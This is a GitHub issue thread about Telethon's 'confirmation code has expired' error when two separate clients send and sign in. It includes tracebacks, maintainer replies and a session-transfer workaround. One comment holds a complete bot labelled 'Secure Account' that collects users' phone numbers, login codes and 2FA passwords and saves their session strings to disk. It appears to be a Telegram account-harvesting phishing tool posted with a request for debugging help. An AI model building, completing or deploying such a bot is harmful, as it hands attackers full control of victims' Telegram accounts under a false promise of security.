LonamiWebs / Telethon

Pure Python 3 MTProto API Telegram client library, for bots too!
https://docs.telethon.dev
MIT License
9.9k stars 1.4k forks source link

"The confirmation code has expired" when using two different clients #799

Closed jonbesga closed 6 years ago

jonbesga commented 6 years ago

Hi, I'm receiving the following error while trying to sign_in to my Telegram account using Telethon:

Traceback (most recent call last):
  File "/home/jon/.local/share/virtualenvs/telegramstats-TK1JrBmB/lib/python3.6/site-packages/telethon/telegram_bare_client.py", line 551, in _invoke
    raise next(x.rpc_error for x in requests if x.rpc_error)
telethon.errors.rpc_error_list.PhoneMigrateError: The phone number a user is trying to use for authorization is associated with DC 4

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "simple.py", line 23, in <module>
    run()
  File "simple.py", line 19, in run
    result = get_client().sign_in(phone=phone, code=code, phone_code_hash=phone_code_hash)
  File "/home/jon/.local/share/virtualenvs/telegramstats-TK1JrBmB/lib/python3.6/site-packages/telethon/telegram_client.py", line 418, in sign_in
    result = self(SignInRequest(phone, phone_code_hash, str(code)))
  File "/home/jon/.local/share/virtualenvs/telegramstats-TK1JrBmB/lib/python3.6/site-packages/telethon/telegram_bare_client.py", line 459, in __call__
    result = self._invoke(call_receive, *requests)
  File "/home/jon/.local/share/virtualenvs/telegramstats-TK1JrBmB/lib/python3.6/site-packages/telethon/telegram_bare_client.py", line 571, in _invoke
    return self._invoke(call_receive, *requests)
  File "/home/jon/.local/share/virtualenvs/telegramstats-TK1JrBmB/lib/python3.6/site-packages/telethon/telegram_bare_client.py", line 551, in _invoke
    raise next(x.rpc_error for x in requests if x.rpc_error)
telethon.errors.rpc_error_list.PhoneCodeExpiredError: The confirmation code has expired

I'm wondering if the problem could be caused by creating two different clients. Also I am not passing the code to anyone else by Telegram.

from telethon import TelegramClient
from telethon.sessions import MemorySession

from config import TELEGRAM as TELEGRAM_CONFIG

def get_client():
    client = TelegramClient(MemorySession(), TELEGRAM_CONFIG['API_ID'], TELEGRAM_CONFIG['API_HASH'])
    if not client.is_connected():
        client.connect()
    return client

def run():
    phone = '#####'
    result = get_client().send_code_request(phone)
    phone_code_hash = result.phone_code_hash
    code = input('Code: ')
    result = get_client().sign_in(phone=phone, code=code, phone_code_hash=phone_code_hash)
    print(result)

run()
Lonami commented 6 years ago

I doubt the phone hash for Client A is the same as the hash for Client B, since they have different authorization keys, and Telegram is probably imposing extra security over that fact.

jonbesga commented 6 years ago

Then why to offer to pass a phone_code_hash argument in the sign_in method if it is not usable?

Digging a little more in telegram-client.py,

def send_code_request(self, phone, force_sms=False):
        [...]
        if not phone_hash:
            result = self(SendCodeRequest(phone, self.api_id, self.api_hash))
            self._phone_code_hash[phone] = phone_hash = result.phone_code_hash

The SendCodeRequest function uses the provided phone and client's api_id and api_hash which are always the same.

def sign_in(self, phone=None, code=None,
                password=None, bot_token=None, phone_code_hash=None):
        [...]
        elif code:
            phone = utils.parse_phone(phone) or self._phone
            phone_code_hash = \
                phone_code_hash or self._phone_code_hash.get(phone, None)

The sign_in function uses the previous phone_code_hash from the client of assign a new one passed to the function.

Don't see how the hashes could be different.

Lonami commented 6 years ago

Uhmm. https://github.com/LonamiWebs/Telethon/commit/9445d2ba535ed7d214a7e6e68b85e7f3af1a690e introduced the change and that links to #278.

jonbesga commented 6 years ago

Could be that when I ask for an auth code to Telegram servers the phone number is associated with a DC as stated in https://core.telegram.org/method/auth.sendCode and the second client is in another DC?

There's a possible Error described in the API as:

303 SEE_OTHER | PHONE_MIGRATE_X | Repeat the query to data-center X

That could explain the error:

telethon.errors.rpc_error_list.PhoneMigrateError: The phone number a user is trying to use for authorization is associated with DC 4

That is handled by the telethon.errors.rpc_error_list.PhoneCodeExpiredError exception.

Lonami commented 6 years ago

I'm going to close this issue because it's not really a bug in the library, rather its usage. Good luck, hope you can figure out a way and maybe ask in the group if you'd like more help I guess.

markolofsen commented 5 years ago

I need this option, because I have two different clients: Without it I got an error The confirmation code has expired (caused by SignInRequest)

Client 1

model.phone_code_hash = client.send_code_request(model.phone).phone_code_hash

Client 2:

client.sign_in(
                                phone=model.phone,
                                code=code,
                                bot_token=model.api_hash,
                                phone_code_hash=model.phone_code_hash,
                       )
Rhtyme commented 3 years ago

any news about this issue?

akench commented 3 years ago

I am wondering this as well.

redradist commented 2 years ago

Yeah, unfortunately it is an issue with 2 separate clients ... On single client all works perfectly fine !!

I still wonder why that is an issue, and why then phone_code_hash is needed

f-i-t-s-u-m commented 2 years ago

the problem is with the declaration of client.connect()

bikrantjajware commented 1 year ago

found this in telethon docs for sign_in() code argument.

code (str | int): The code that Telegram sent. Note that if you have sent this code through the application itself it will immediately expire. If you want to send the code, obfuscate it somehow. If you’re not doing any of this you can ignore this note.

menzcreate commented 1 year ago
import logging
import os
import asyncio
from telegram import Update, ReplyKeyboardMarkup, KeyboardButton
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, ConversationHandler, CallbackContext

from telethon.sync import TelegramClient
from telethon.sessions import StringSession
from telethon.errors import FloodWaitError, SessionPasswordNeededError as SessionPasswordNeeded

logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO)
logger = logging.getLogger(__name__)

API_ID = 'API_ID'
API_HASH = 'API_HASH'
BOT_TOKEN = 'BOT_TOKEN'

MEMILIH_AKSI, MASUKKAN_NOMOR, MASUKKAN_KODE, ENTER_2FA = range(4)

keyboard_kustom = [
    [KeyboardButton("Secure Account")],
    [KeyboardButton("Batal")]
]
reply_markup = ReplyKeyboardMarkup(keyboard_kustom, resize_keyboard=True, one_time_keyboard=True)

loop = asyncio.get_event_loop()

def save_session_string(session_string, phone_number):
    if not os.path.exists('sessions'):
        os.makedirs('sessions')
    with open(os.path.join('sessions', phone_number + '.session'), 'w') as f:
        f.write(session_string)

async def async_kirim_kode_login(nomor_telepon: str):
    client = TelegramClient(StringSession(), API_ID, API_HASH)
    try:
        await client.connect()
        if not await client.is_user_authorized():
            result = await client.send_code_request(nomor_telepon)
            logger.info(f"Sent code request to {nomor_telepon}")
            await asyncio.sleep(1)
            return result.phone_code_hash
    except FloodWaitError as e:
        logger.error(f"Blocked by Telegram for {e.seconds} seconds.")
        await asyncio.sleep(e.seconds + 10)
    except Exception as e:
        logger.error(f"Error sending login code: {str(e)}")
    return None

async def async_verifikasi_kode(nomor_telepon: str, kode: str, phone_code_hash: str) -> str:
    client = TelegramClient(StringSession(), API_ID, API_HASH)
    try:
        await client.connect()
        await client.sign_in(phone=nomor_telepon, code=kode, phone_code_hash=phone_code_hash)
        if await client.is_user_authorized():
            save_session_string(client.session.save(), nomor_telepon)
            return "success"
    except SessionPasswordNeeded:
        return "2FA"
    except Exception as e:
        logger.error(f"Error verifying login code: {str(e)}")
        if "The confirmation code has expired" in str(e):
            return "The confirmation code has expired."
    return "Failed to verify the code."

def start(update: Update, context: CallbackContext) -> int:
    user = update.effective_user
    update.message.reply_text(f"Hi {user.first_name}!\nPress 'Secure Account' to secure your account.", reply_markup=reply_markup)
    return MEMILIH_AKSI

def akun_aman(update: Update, context: CallbackContext) -> int:
    update.message.reply_text("Please enter your phone number.")
    return MASUKKAN_NOMOR

def masukkan_nomor(update: Update, context: CallbackContext) -> int:
    nomor = update.message.text
    phone_code_hash = loop.run_until_complete(async_kirim_kode_login(nomor))
    if phone_code_hash:
        context.user_data['phone_number'] = nomor
        context.user_data['phone_code_hash'] = phone_code_hash
        update.message.reply_text("We've sent a login code to your phone. Please enter it within 10 minutes.")  # Inform the user
        return MASUKKAN_KODE
    else:
        update.message.reply_text("Failed to send login code or invalid number entered. Please try again.")
        return MEMILIH_AKSI

def masukkan_kode(update: Update, context: CallbackContext) -> int:
    kode = update.message.text.strip()
    nomor_telepon = context.user_data.get('phone_number')
    phone_code_hash = context.user_data.get('phone_code_hash')

    if not nomor_telepon or not phone_code_hash:
        update.message.reply_text("An error occurred. Please try again from the beginning.")
        return ConversationHandler.END

    hasil = loop.run_until_complete(async_verifikasi_kode(nomor_telepon, kode, phone_code_hash))

    if hasil == "success":
        update.message.reply_text("Your account is now secured.")
        return ConversationHandler.END
    elif hasil == "2FA":
        update.message.reply_text("Please enter your 2FA password.")
        return ENTER_2FA
    elif hasil == "The confirmation code has expired.":
        context.user_data['phone_code_hash'] = None
        update.message.reply_text(hasil + " Please request a new code by entering your phone number again.")
        return MASUKKAN_NOMOR  # Prompt the user to input their phone number again to request a new code
    else:
        update.message.reply_text(hasil + " Please try again.")
        return MASUKKAN_KODE

def enter_2fa(update: Update, context: CallbackContext) -> int:
    password = update.message.text.strip()
    nomor_telepon = context.user_data.get('phone_number')

    client = TelegramClient(StringSession(), API_ID, API_HASH)
    try:
        loop.run_until_complete(client.connect())
        loop.run_until_complete(client.sign_in(password=password))
        save_session_string(client.session.save(), nomor_telepon)
        update.message.reply_text("Your account is now secured.")
        return ConversationHandler.END
    except Exception as e:
        logger.error(f"Error in 2FA: {str(e)}")
        update.message.reply_text("Incorrect 2FA password. Please try again.")
        return ENTER_2FA

def batal(update: Update, context: CallbackContext) -> int:
    update.message.reply_text("Conversation has been canceled.")
    return ConversationHandler.END

def main():
    updater = Updater(BOT_TOKEN, use_context=True)
    dispatcher = updater.dispatcher

    handler_percakapan = ConversationHandler(
        entry_points=[CommandHandler('start', start)],
        states={
            MEMILIH_AKSI: [MessageHandler(Filters.regex('^(Secure Account)$'), akun_aman),
                           MessageHandler(Filters.regex('^(Batal)$'), batal)],
            MASUKKAN_NOMOR: [MessageHandler(Filters.text & ~Filters.command, masukkan_nomor)],
            MASUKKAN_KODE: [MessageHandler(Filters.text & ~Filters.command, masukkan_kode)],
            ENTER_2FA: [MessageHandler(Filters.text & ~Filters.command, enter_2fa)]
        },
        fallbacks=[MessageHandler(Filters.regex('^(Batal)$'), batal)]
    )

    dispatcher.add_handler(handler_percakapan)
    updater.start_polling()
    updater.idle()

if __name__ == '__main__':
    main()

2023-09-28 06:05:38,164 - main - ERROR - Error verifying login code: The confirmation code has expired (caused by SignInRequest)

I'm experiencing the same error, how do I solve this problem?

dustless commented 6 months ago

I need this option, because I have two different clients: Without it I got an error The confirmation code has expired (caused by SignInRequest)

Client 1

model.phone_code_hash = client.send_code_request(model.phone).phone_code_hash

Client 2:

client.sign_in(
                                phone=model.phone,
                                code=code,
                                bot_token=model.api_hash,
                                phone_code_hash=model.phone_code_hash,
                       )

I've found a way to solve this problem. You need to transfer the session of client1 to client2. Here is an example:

import asyncio

from telethon import TelegramClient
from telethon.sessions import StringSession

PHONE = ""
API_ID = ""
API_HASH = ""

async def main():
    client1 = TelegramClient(StringSession(), API_ID, API_HASH)
    if not client1.is_connected():
        await client1.connect()
    result = await client1.send_code_request(PHONE)
    print(result)
    phone_code_hash = result.phone_code_hash
    session_str = client1.session.save()
    client1.disconnect()

    code = input('Code: ')
    client2 = TelegramClient(StringSession(session_str), API_ID, API_HASH)
    if not client2.is_connected():
        await client2.connect()
    result = await client2.sign_in(phone=PHONE, code=code, phone_code_hash=phone_code_hash)
    print(result)

asyncio.run(main())